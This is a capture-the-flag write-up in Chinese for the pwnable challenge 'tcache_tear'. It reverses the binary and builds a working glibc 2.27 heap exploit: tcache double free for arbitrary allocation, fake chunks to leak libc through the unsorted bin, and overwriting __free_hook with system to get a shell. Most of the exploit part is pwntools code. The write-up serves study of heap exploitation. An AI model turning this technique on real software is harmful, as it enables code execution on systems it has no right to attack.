1 程序分析

64 位,没开 PIE,Full RELRO 不能改 GOT 表了,libc 版本 2.27

1
2
3
4
5
6
7
8
9
10
(pwn) secreu@Vanilla:~/code/pwnable/tcache_tear$ strings libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so | grep "Ubuntu GLIBC"
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
(pwn) secreu@Vanilla:~/code/pwnable/tcache_tear$ checksec --file=tcache_tear
[*] '/home/secreu/code/pwnable/tcache_tear/tcache_tear'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

首先读取最多 32 字节的 Name 到 0x602060,然后进入菜单循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
unsigned int v4; // [rsp+Ch] [rbp-4h]

sub_400948(a1, a2, a3);
printf("Name:");
sub_400A25(&unk_602060, 32LL);
v4 = 0;
while ( 1 )
{
while ( 1 )
{
sub_400A9C();
v3 = sub_4009C4();
if ( v3 != 2 )
break;
if ( v4 <= 7 )
{
free(ptr);
++v4;
}
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
sub_400B99();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_14:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_14;
sub_400B14();
}
}
}

选项 1,sub_400B14 分配堆块,Size 不能大于 0xFF,并且最多写入 Size - 16 大小的数据到堆块中,指针 ptr 位于 0x602088

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int sub_400B14()
{
size_t v0; // rax
int size; // [rsp+8h] [rbp-8h]

printf("Size:");
v0 = sub_4009C4();
size = v0;
if ( v0 <= 0xFF )
{
ptr = malloc(v0);
printf("Data:");
sub_400A25((__int64)ptr, size - 16);
LODWORD(v0) = puts("Done !");
}
return v0;
}

选项 2,释放堆块,最多允许 free 8 次

1
2
3
4
5
6
7
if ( v3 != 2 )
break;
if ( v4 <= 7 )
{
free(ptr);
++v4;
}

选项 3,sub_400B99 将 0x602060 处存放的 Name 打印出来

1
2
3
4
5
ssize_t sub_400B99()
{
printf("Name :");
return write(1, &unk_602060, 0x20uLL);
}

选项 4,exit(0) 退出

2 漏洞利用

2.1 任意地址分配/写

2.27 还没有对 key 指针进行检查,我们可以直接 double free,然后再一次调用 malloc 去修改 next 指针,从而实现任意地址分配

1
2
3
4
5
6
7
8
9
10
name_addr = 0x602060

io.sendlineafter(b'Name:', b'A' * 0x20)

malloc(0x40, b'A' * 0x8)
free()
free()
malloc(0x40, p64(name_addr))
malloc(0x40, b'A' * 0x8)
malloc(0x40, b'B' * 0x10)

成功拿到地址为 0x602060 的堆块,也就是 Name 地址,并将其前 16 个字节都从 0x41 改成了 0x42

gdb_1

这里只需要 free 2 次即可实现任意地址发分配,从 2.30 开始,malloc 对 tcache 的检查从 tcache->entries[tc_idx] != NULL 变成了 tcache->counts[tc_idx] > 0,也就是说需要多 free 一次才能拿到目标地址堆块。另外,tcache->counts[tc_idx] 因为向下发生了整型溢出,超出了最大限制,对应的链上不会再加入新的块了

2.2 伪造堆块泄露 Libc

sub_400B99 的功能是输出 0x602060 开始的 0x20 字节,其本意是输出 Name,但是我们可以利用这一点泄露信息,想办法在上面写入 libc 相关的地址,这里就联想到 unsorted bin,当释放一个不属于 fastbin/tcache 大小的堆块时,就会放进 unsorted bin 上,并且其 bk 指针指向 main_arena + 0x60 的位置

所以我们可以在 0x602060 处构造一个 size 位大于 0x410 的 fake chunk,利用任意地址分配使得 ptr 指向 0x602060 + 0x10,再调用 free 就能将其放入 unsorted bin 中

1
2
3
4
5
6
7
8
9
10
11
12
13
name_addr = 0x602060
fake_chunk_0 = p64(0) + p64(0x511)

io.sendlineafter(b'Name', fake_chunk_0)

malloc(0x30, b'A' * 0x8)
free()
free()
malloc(0x30, p64(name_addr + 0x10))
malloc(0x30, b'A' * 0x8)
malloc(0x30, b'A' * 0x8)

free()

gdb_2

遗憾报错 “double free or corruption (!prev)”,查阅 free 源码得知原因是其 nextchunk 没有设置 PREV_INUSE

1
2
3

if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)");

所以我们不能仅仅构造一个 fake chunk,这里先用一次任意地址分配/写,布置好 nextchunk,也就是在 0x602060 + 0x510 处布置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
name_addr = 0x602060

fake_chunk_0 = p64(0) + p64(0x511)
fake_chunk_1 = p64(0) + p64(0x21)

io.sendlineafter(b'Name', fake_chunk_0)

malloc(0x40, b'A' * 0x8)
free()
free()
malloc(0x40, p64(name_addr + 0x510))
malloc(0x40, b'A' * 0x8)
malloc(0x40, fake_chunk_1)

malloc(0x30, b'A' * 0x8)
free()
free()
malloc(0x30, p64(name_addr + 0x10))
malloc(0x30, b'A' * 0x8)
malloc(0x30, b'A' * 0x8)

free()

遗憾报错 “corrupted size vs. prev_size”,继续查阅 free 源码得知,是在 unlink 函数中,看起来是因为某个 chunk 的 size 不等于其后一个的 prev_size

1
2
3
4
5
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size");
...

再看 unlink_int_free 中的 2 次调用

  1. 当前 chunk 的 PREV_INUSE 为 0 时调用,我们只需要设置我们的 fake chunk 的 PREV_INUSE 为 1 即可,这里已经做了
  2. nextchunk 是否 inuse,这里会先调用 inuse_bit_at_offset 检查 nextchunk 的下一个 chunk 的 PREV_INUSE 位,该位也必须是 1 才能不进入 unlink
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
    /* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
}

/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)

所以我们需要连续布置 3 个 fake chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
name_addr = 0x602060

fake_chunk_0 = p64(0) + p64(0x511)
fake_chunk_1 = p64(0) + p64(0x21) + p64(0) * 2
fake_chunk_2 = p64(0) + p64(0x21)

io.sendlineafter(b'Name', fake_chunk_0)

malloc(0x40, b'A' * 0x8)
free()
free()
malloc(0x40, p64(name_addr + 0x510))
malloc(0x40, b'A' * 0x8)
malloc(0x40, fake_chunk_1 + fake_chunk_2)

malloc(0x30, b'A' * 0x8)
free()
free()
malloc(0x30, p64(name_addr + 0x10))
malloc(0x30, b'A' * 0x8)
malloc(0x30, b'A' * 0x8)

free()
info()

成功将 0x602060 加入 unsorted bin,并看到 libc 上的地址,即 main_arena + 0x60

gdb_3

2.3 劫持 __free_hook

接下来就是再做一次任意地址分配/写,将 system 地址写入 __free_hook,再分配一个堆块写入 “/bin/sh\x00”,最后将其 free 即可。整个过程加起来刚好一共进行了 8 次 free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
main_arena_96 = u64(io.recv(0x26)[0x1e:0x26].ljust(8, b'\x00'))
libc_base = main_arena_96 - libc.sym['__malloc_hook'] - 0x10 - 0x60
system_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']

log.info('main_arena_96: ' + hex(main_arena_96))
log.info('libc_base: ' + hex(libc_base))
log.info('system_addr: ' + hex(system_addr))
log.info('free_hook: ' + hex(free_hook))

malloc(0x20, b'A' * 0x8)
free()
free()
malloc(0x20, p64(free_hook))
malloc(0x20, b'A' * 0x8)
malloc(0x20, p64(system_addr))

malloc(0x20, b'/bin/sh\x00')
free()

io.interactive()